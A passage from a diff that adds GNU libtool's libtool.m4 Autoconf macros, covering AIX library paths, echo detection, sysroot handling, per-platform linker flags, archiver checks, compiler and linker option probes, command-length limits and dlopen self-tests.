"${lt_cv_aix_libpath+set}"; then + aix_libpath=$lt_cv_aix_libpath +else + AC_CACHE_VAL([_LT_TAGVAR([lt_cv_aix_libpath_], [$1])], + [AC_LINK_IFELSE([AC_LANG_PROGRAM],[ + lt_aix_libpath_sed='[ + /Import File Strings/,/^$/ { + /^0/ { + s/^0 *\([^ ]*\) *$/\1/ + p + } + }]' + _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + # Check for a 64-bit object if we didn't find anything. + if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then + _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` + fi],[]) + if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then + _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=/usr/lib:/lib + fi + ]) + aix_libpath=$_LT_TAGVAR([lt_cv_aix_libpath_], [$1]) +fi +])# _LT_SYS_MODULE_PATH_AIX + + +# _LT_SHELL_INIT(ARG) +# ------------------- +m4_define([_LT_SHELL_INIT], +[m4_divert_text([M4SH-INIT], [$1 +])])# _LT_SHELL_INIT + + + +# _LT_PROG_ECHO_BACKSLASH +# ----------------------- +# Find how we can fake an echo command that does not interpret backslash. +# In particular, with Autoconf 2.60 or later we add some code to the start +# of the generated configure script that will find a shell with a builtin +# printf (that we can use as an echo command). +m4_defun([_LT_PROG_ECHO_BACKSLASH], +[ECHO='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' +ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO +ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO + +AC_MSG_CHECKING([how to print strings]) +# Test print first, because it will be a builtin if present. +if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \ + test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then + ECHO='print -r --' +elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then + ECHO='printf %s\n' +else + # Use this function as a fallback that always works. + func_fallback_echo () + { + eval 'cat <<_LTECHO_EOF +$[]1 +_LTECHO_EOF' + } + ECHO='func_fallback_echo' +fi + +# func_echo_all arg... +# Invoke $ECHO with all args, space-separated. +func_echo_all () +{ + $ECHO "$*" +} + +case $ECHO in + printf*) AC_MSG_RESULT([printf]) ;; + print*) AC_MSG_RESULT([print -r]) ;; + *) AC_MSG_RESULT([cat]) ;; +esac + +m4_ifdef([_AS_DETECT_SUGGESTED], +[_AS_DETECT_SUGGESTED([ + test -n "${ZSH_VERSION+set}${BASH_VERSION+set}" || ( + ECHO='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' + ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO + ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO + PATH=/empty FPATH=/empty; export PATH FPATH + test "X`printf %s $ECHO`" = "X$ECHO" \ + || test "X`print -r -- $ECHO`" = "X$ECHO" )])]) + +_LT_DECL([], [SHELL], [1], [Shell to use when invoking shell scripts]) +_LT_DECL([], [ECHO], [1], [An echo program that protects backslashes]) +])# _LT_PROG_ECHO_BACKSLASH + + +# _LT_WITH_SYSROOT +# ---------------- +AC_DEFUN([_LT_WITH_SYSROOT], +[m4_require([_LT_DECL_SED])dnl +AC_MSG_CHECKING([for sysroot]) +AC_ARG_WITH([sysroot], +[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@], + [Search for dependent libraries within DIR (or the compiler's sysroot + if not specified).])], +[], [with_sysroot=no]) + +dnl lt_sysroot will always be passed unquoted. We quote it here +dnl in case the user passed a directory name. +lt_sysroot= +case $with_sysroot in #( + yes) + if test yes = "$GCC"; then + lt_sysroot=`$CC --print-sysroot 2>/dev/null` + fi + ;; #( + /*) + lt_sysroot=`echo "$with_sysroot" | $SED -e "$sed_quote_subst"` + ;; #( + no|'') + ;; #( + *) + AC_MSG_RESULT([$with_sysroot]) + AC_MSG_ERROR([The sysroot must be an absolute path.]) + ;; +esac + + AC_MSG_RESULT([${lt_sysroot:-no}]) +_LT_DECL([], [lt_sysroot], [0], [The root where to search for ]dnl +[dependent libraries, and where our libraries should be installed.])]) + +# _LT_ENABLE_LOCK +# --------------- +m4_defun([_LT_ENABLE_LOCK], +[AC_ARG_ENABLE([libtool-lock], + [AS_HELP_STRING([--disable-libtool-lock], + [avoid locking (might break parallel builds)])]) +test no = "$enable_libtool_lock" || enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out what ABI is being produced by ac_compile, and set mode + # options accordingly. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case `$FILECMD conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE=32 + ;; + *ELF-64*) + HPUX_IA64_MODE=64 + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. + echo '[#]line '$LINENO' "configure"' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + if test yes = "$lt_cv_prog_gnu_ld"; then + case `$FILECMD conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `$FILECMD conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +mips64*-*linux*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. + echo '[#]line '$LINENO' "configure"' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + emul=elf + case `$FILECMD conftest.$ac_objext` in + *32-bit*) + emul="${emul}32" + ;; + *64-bit*) + emul="${emul}64" + ;; + esac + case `$FILECMD conftest.$ac_objext` in + *MSB*) + emul="${emul}btsmip" + ;; + *LSB*) + emul="${emul}ltsmip" + ;; + esac + case `$FILECMD conftest.$ac_objext` in + *N32*) + emul="${emul}n32" + ;; + esac + LD="${LD-ld} -m $emul" + fi + rm -rf conftest* + ;; + +x86_64-*kfreebsd*-gnu|x86_64-*linux*|powerpc*-*linux*| \ +s390*-*linux*|s390*-*tpf*|sparc*-*linux*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. Note that the listed cases only cover the + # situations where additional linker options are needed (such as when + # doing 32-bit compilation for a host where ld defaults to 64-bit, or + # vice versa); the common cases where no linker options are needed do + # not appear in the list. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case `$FILECMD conftest.o` in + *32-bit*) + case $host in + x86_64-*kfreebsd*-gnu) + LD="${LD-ld} -m elf_i386_fbsd" + ;; + x86_64-*linux*) + case `$FILECMD conftest.o` in + *x86-64*) + LD="${LD-ld} -m elf32_x86_64" + ;; + *) + LD="${LD-ld} -m elf_i386" + ;; + esac + ;; + powerpc64le-*linux*) + LD="${LD-ld} -m elf32lppclinux" + ;; + powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*kfreebsd*-gnu) + LD="${LD-ld} -m elf_x86_64_fbsd" + ;; + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + powerpcle-*linux*) + LD="${LD-ld} -m elf64lppc" + ;; + powerpc-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*|s390*-*tpf*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS=$CFLAGS + CFLAGS="$CFLAGS -belf" + AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_belf, + [AC_LANG_PUSH(C) + AC_LINK_IFELSE([AC_LANG_PROGRAM([[]],[[]])],[lt_cv_cc_needs_belf=yes],[lt_cv_cc_needs_belf=no]) + AC_LANG_POP]) + if test yes != "$lt_cv_cc_needs_belf"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS=$SAVE_CFLAGS + fi + ;; +*-*solaris*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. + echo 'int i;' > conftest.$ac_ext + if AC_TRY_EVAL(ac_compile); then + case `$FILECMD conftest.o` in + *64-bit*) + case $lt_cv_prog_gnu_ld in + yes*) + case $host in + i?86-*-solaris*|x86_64-*-solaris*) + LD="${LD-ld} -m elf_x86_64" + ;; + sparc*-*-solaris*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + # GNU ld 2.21 introduced _sol2 emulations. Use them if available. + if ${LD-ld} -V | grep _sol2 >/dev/null 2>&1; then + LD=${LD-ld}_sol2 + fi + ;; + *) + if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then + LD="${LD-ld} -64" + fi + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; +esac + +need_locks=$enable_libtool_lock +])# _LT_ENABLE_LOCK + + +# _LT_PROG_AR +# ----------- +m4_defun([_LT_PROG_AR], +[AC_CHECK_TOOLS(AR, [ar], false) +: ${AR=ar} +_LT_DECL([], [AR], [1], [The archiver]) + +# Use ARFLAGS variable as AR's operation code to sync the variable naming with +# Automake. If both AR_FLAGS and ARFLAGS are specified, AR_FLAGS should have +# higher priority because thats what people were doing historically (setting +# ARFLAGS for automake and AR_FLAGS for libtool). FIXME: Make the AR_FLAGS +# variable obsoleted/removed. + +test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cr} +lt_ar_flags=$AR_FLAGS +_LT_DECL([], [lt_ar_flags], [0], [Flags to create an archive (by configure)]) + +# Make AR_FLAGS overridable by 'make ARFLAGS='. Don't try to run-time override +# by AR_FLAGS because that was never working and AR_FLAGS is about to die. +_LT_DECL([], [AR_FLAGS], [\@S|@{ARFLAGS-"\@S|@lt_ar_flags"}], + [Flags to create an archive]) + +AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file], + [lt_cv_ar_at_file=no + AC_COMPILE_IFELSE([AC_LANG_PROGRAM], + [echo conftest.$ac_objext > conftest.lst + lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&AS_MESSAGE_LOG_FD' + AC_TRY_EVAL([lt_ar_try]) + if test 0 -eq "$ac_status"; then + # Ensure the archiver fails upon bogus file names. + rm -f conftest.$ac_objext libconftest.a + AC_TRY_EVAL([lt_ar_try]) + if test 0 -ne "$ac_status"; then + lt_cv_ar_at_file=@ + fi + fi + rm -f conftest.* libconftest.a + ]) + ]) + +if test no = "$lt_cv_ar_at_file"; then + archiver_list_spec= +else + archiver_list_spec=$lt_cv_ar_at_file +fi +_LT_DECL([], [archiver_list_spec], [1], + [How to feed a file listing to the archiver]) +])# _LT_PROG_AR + + +# _LT_CMD_OLD_ARCHIVE +# ------------------- +m4_defun([_LT_CMD_OLD_ARCHIVE], +[_LT_PROG_AR + +AC_CHECK_TOOL(STRIP, strip, :) +test -z "$STRIP" && STRIP=: +_LT_DECL([], [STRIP], [1], [A symbol stripping program]) + +AC_CHECK_TOOL(RANLIB, ranlib, :) +test -z "$RANLIB" && RANLIB=: +_LT_DECL([], [RANLIB], [1], + [Commands used to install an old-style archive]) + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + bitrig* | openbsd*) + old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$tool_oldlib" + ;; + *) + old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$tool_oldlib" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$tool_oldlib" +fi + +case $host_os in + darwin*) + lock_old_archive_extraction=yes ;; + *) + lock_old_archive_extraction=no ;; +esac +_LT_DECL([], [old_postinstall_cmds], [2]) +_LT_DECL([], [old_postuninstall_cmds], [2]) +_LT_TAGDECL([], [old_archive_cmds], [2], + [Commands used to build an old-style archive]) +_LT_DECL([], [lock_old_archive_extraction], [0], + [Whether to use a lock for old archive extraction]) +])# _LT_CMD_OLD_ARCHIVE + + +# _LT_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) +# ---------------------------------------------------------------- +# Check whether the given compiler option works +AC_DEFUN([_LT_COMPILER_OPTION], +[m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_DECL_SED])dnl +AC_CACHE_CHECK([$1], [$2], + [$2=no + m4_if([$4], , [ac_outfile=conftest.$ac_objext], [ac_outfile=$4]) + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$3" ## exclude from sc_useless_quotes_in_assignment + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:$LINENO: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings other than the usual output. + $ECHO "$_lt_compiler_boilerplate" | $SED '/^$/d' >conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then + $2=yes + fi + fi + $RM conftest* +]) + +if test yes = "[$]$2"; then + m4_if([$5], , :, [$5]) +else + m4_if([$6], , :, [$6]) +fi +])# _LT_COMPILER_OPTION + +# Old name: +AU_ALIAS([AC_LIBTOOL_COMPILER_OPTION], [_LT_COMPILER_OPTION]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], []) + + +# _LT_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, +# [ACTION-SUCCESS], [ACTION-FAILURE]) +# ---------------------------------------------------- +# Check whether the given linker option works +AC_DEFUN([_LT_LINKER_OPTION], +[m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_DECL_SED])dnl +AC_CACHE_CHECK([$1], [$2], + [$2=no + save_LDFLAGS=$LDFLAGS + LDFLAGS="$LDFLAGS $3" + echo "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The linker can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&AS_MESSAGE_LOG_FD + $ECHO "$_lt_linker_boilerplate" | $SED '/^$/d' > conftest.exp + $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 + if diff conftest.exp conftest.er2 >/dev/null; then + $2=yes + fi + else + $2=yes + fi + fi + $RM -r conftest* + LDFLAGS=$save_LDFLAGS +]) + +if test yes = "[$]$2"; then + m4_if([$4], , :, [$4]) +else + m4_if([$5], , :, [$5]) +fi +])# _LT_LINKER_OPTION + +# Old name: +AU_ALIAS([AC_LIBTOOL_LINKER_OPTION], [_LT_LINKER_OPTION]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], []) + + +# LT_CMD_MAX_LEN +#--------------- +AC_DEFUN([LT_CMD_MAX_LEN], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +# find the maximum length of command line arguments +AC_MSG_CHECKING([the maximum length of command line arguments]) +AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl + i=0 + teststring=ABCD + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw* | cegcc*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + mint*) + # On MiNT this can take a long time and run out of memory. + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + bitrig* | darwin* | dragonfly* | freebsd* | midnightbsd* | netbsd* | openbsd*) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` + ;; + + interix*) + # We know the value 262144 and hardcode it with a safety zone (like BSD) + lt_cv_sys_max_cmd_len=196608 + ;; + + os2*) + # The test takes a long time on OS/2. + lt_cv_sys_max_cmd_len=8192 + ;; + + osf*) + # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure + # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not + # nice to cause kernel panics so lets avoid the loop below. + # First set a reasonable default. + lt_cv_sys_max_cmd_len=16384 + # + if test -x /sbin/sysconfig; then + case `/sbin/sysconfig -q proc exec_disable_arg_limit` in + *1*) lt_cv_sys_max_cmd_len=-1 ;; + esac + fi + ;; + sco3.2v5*) + lt_cv_sys_max_cmd_len=102400 + ;; + sysv5* | sco5v6* | sysv4.2uw2*) + kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` + if test -n "$kargmax"; then + lt_cv_sys_max_cmd_len=`echo $kargmax | $SED 's/.*[[ ]]//'` + else + lt_cv_sys_max_cmd_len=32768 + fi + ;; + *) + lt_cv_sys_max_cmd_len=`(getconf ARG_MAX) 2> /dev/null` + if test -n "$lt_cv_sys_max_cmd_len" && \ + test undefined != "$lt_cv_sys_max_cmd_len"; then + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` + else + # Make teststring a little bigger before we do anything with it. + # a 1K string should be a reasonable start. + for i in 1 2 3 4 5 6 7 8; do + teststring=$teststring$teststring + done + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + while { test X`env echo "$teststring$teststring" 2>/dev/null` \ + = "X$teststring$teststring"; } >/dev/null 2>&1 && + test 17 != "$i" # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + # Only check the string length outside the loop. + lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1` + teststring= + # Add a significant safety factor because C++ compilers can tack on + # massive amounts of additional arguments before passing them to the + # linker. It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + fi + ;; + esac +]) +if test -n "$lt_cv_sys_max_cmd_len"; then + AC_MSG_RESULT($lt_cv_sys_max_cmd_len) +else + AC_MSG_RESULT(none) +fi +max_cmd_len=$lt_cv_sys_max_cmd_len +_LT_DECL([], [max_cmd_len], [0], + [What is the maximum length of a command?]) +])# LT_CMD_MAX_LEN + +# Old name: +AU_ALIAS([AC_LIBTOOL_SYS_MAX_CMD_LEN], [LT_CMD_MAX_LEN]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], []) + + +# _LT_HEADER_DLFCN +# ---------------- +m4_defun([_LT_HEADER_DLFCN], +[AC_CHECK_HEADERS([dlfcn.h], [], [], [AC_INCLUDES_DEFAULT])dnl +])# _LT_HEADER_DLFCN + + +# _LT_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, +# ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING) +# ---------------------------------------------------------------- +m4_defun([_LT_TRY_DLOPEN_SELF], +[m4_require([_LT_HEADER_DLFCN])dnl +if test yes = "$cross_compiling"; then : + [$4] +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<_LT_EOF +[#line $LINENO "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include +#endif + +#include + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +/* When -fvisibility=hidden is used, assume the code has been annotated + correspondingly for the symbols needed. */ +#if defined __GNUC__ && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)) +int fnord () __attribute__((visibility("default"))); +#endif + +int fnord () { return 42; } +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else + { + if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + else puts (dlerror ()); + } + /* dlclose (self); */ + } + else + puts (dlerror ()); + + return status; +}] +_LT_EOF + if AC_TRY_EVAL(ac_link) && test -s "conftest$ac_exeext" 2>/dev/null; then + (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) $1 ;; + x$lt_dlneed_uscore) $2 ;; + x$lt_dlunknown|x*) $3 ;; + esac + else : + # compilation failed + $3 + fi +fi +rm -fr conftest* +])# _LT_TRY_DLOPEN_SELF + + +# LT_SYS_DLOPEN_SELF +# ------------------ +AC_DEFUN([LT_SYS_DLOPEN_SELF], +[m4_require([_LT_HEADER_DLFCN])dnl +if test yes != "$enable_dlopen"; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen=load_add_on + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32* | cegcc*) + lt_cv_dlopen=LoadLibrary + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen=dlopen + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen=dlopen lt_cv_dlopen_libs=-ldl],[ + lt_cv_dlopen=dyld + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ]) + ;; + + tpf*) + # Don't try to run any link tests for TPF. We know it's impossible + # because TPF is a cross-compiler, and we know how we open DSOs. + lt_cv_dlopen=dlopen + lt_cv_dlopen_libs= + lt_cv_dlopen_self=no + ;; + + *) + AC_CHECK_FUNC([shl_load], + [lt_cv_dlopen=shl_load], + [AC_CHECK_LIB([dld], [shl_load], + [lt_cv_dlopen=shl_load lt_cv_dlopen_libs=-ldld], + [AC_CHECK_FUNC([dlopen], + [lt_cv_dlopen=dlopen], + [AC_CHECK_LIB([dl], [dlopen], + [lt_cv_dlopen=dlopen lt_cv_dlopen_libs=-ldl], + [AC_CHECK_LIB([svld], [dlopen], + [lt_cv_dlopen=dlopen lt_cv_dlopen_libs=-lsvld], + [AC_CHECK_LIB([dld], [dld_link], + [lt_cv_dlopen=dld_link lt_cv_dlopen_libs=-ldld]) + ]) + ]) + ]) + ]) + ]) + ;; + esac + + if test no = "$lt_cv_dlopen"; then + enable_dlopen=no + else + enable_dlopen=yes + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS=$CPPFLAGS + test yes = "$ac_cv_header_dlfcn_h" && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS=$LDFLAGS + wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS=$LIBS + LIBS="$lt_cv_dlopen_libs $LIBS" + + AC_CACHE_CHECK([whether a program can dlopen itself], + lt_cv_dlopen_self, [dnl + _LT_TRY_DLOPEN_SELF( + lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes, + lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross) + ]) + + if test yes = "$lt_cv_dlopen_self"; then + wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\" + AC_CACHE_CHECK([whether a statically linked program can dlopen itself], + lt_cv_dlopen_self_static, [dnl + _LT_TRY_DLOPEN_SELF( + lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes, + lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross) + ]) + fi + + CPPFLAGS=$save_CPPFLAGS + LDFLAGS=$save_LDFLAGS + LIBS=$save_LIBS + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi +_LT_DECL([dlopen_support], [enable_dlopen], [0], + [Whether dlopen is supported]) +_LT_DECL([dlopen_self], [enable_dlopen_self], [0], + [Whether dlopen of programs is supported]) +_LT_DECL([dlopen_self_static], [enable_dlopen_self_static], [0], + [Whether dlopen of statically linked programs is supported]) +])# LT_SYS_DLOPEN_SELF + +# Old name: +AU_ALIAS([AC_LIBTOOL_DLOPEN_SELF], [LT_SYS_DLOPEN_SELF]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], []) + + +# _LT_COMPILER_C_O([TAGNAME]) +# --------------------------- +# Check to see if options -c and -o are simultaneously supported by compiler. +# This macro does not hard code the compiler like AC_PROG_CC_C_O. +m4_defun([_LT_COMPILER_C_O], +[m4_require([_LT_DECL_SED])dnl +m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_TAG_COMPILER])dnl +AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], + [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)], + [_LT_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no + $RM -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + echo "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ + -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:$LINENO: $lt_compile\"" >&AS_MESSAGE_LOG_FD) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&AS_MESSAGE_LOG_FD + echo "$as_me:$LINENO: \$? = $ac_status" >&AS_MESSAGE_LOG_FD + if (exit $ac_status) && test -s out/conftest2.$ac_objext 